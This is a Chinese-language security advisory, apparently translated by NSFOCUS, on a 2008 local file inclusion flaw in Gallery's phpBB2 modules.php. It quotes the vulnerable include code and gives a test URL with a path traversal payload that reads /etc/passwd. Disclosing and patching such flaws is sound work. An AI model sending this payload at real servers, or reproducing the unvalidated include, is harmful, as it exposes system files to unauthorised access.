首页 -> 安全研究

安全研究

安全漏洞
Gallery modules.php本地文件包含漏洞

发布日期:2008-08-08
更新日期:2008-08-11

受影响系统:
Gallery Gallery 1.6-alpha3
Gallery Gallery 1.5.7
不受影响系统:
Gallery Gallery 1.6-RC1
Gallery Gallery 1.5.8
描述:
BUGTRAQ  ID: 30608

Gallery是基于Web的开源相册管理器。

Gallery的contrib/phpBB2/modules.php脚本没有正确地验证对$phpEx参数的输入,允许远程攻击者通过包含本地资源执行任意代码。

以下是有漏洞部分的代码段:

#################################################

switch ($_REQUEST['op']) {
    case 'modload':
        // Added with changes in Security for PhpBB2.
        define('IN_PHPBB', true);

        define ("LOADED_AS_MODULE","1");
        $phpbb_root_path = "./";
        // connect to phpbb
        include_once($phpbb_root_path . 'extension.inc');
        include_once($phpbb_root_path . 'common.'.$phpEx);
        include_once($phpbb_root_path . 'includes/functions.'.$phpEx);

#################################################

成功攻击要求打开了register_globals选项。

<*来源:Digital Security
  
  链接:http://marc.info/?l=bugtraq&m=121821870124887&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://[server]/[installdir]/contrib/phpBB2/modules.php?op=modload&phpEx=../../../../../../../../../../../../../etc/passwd

建议:
厂商补丁:

Gallery
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://sourceforge.net/project/showfiles.php?group_id=7130&package_id=7239&abmode=1

浏览次数:2678
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障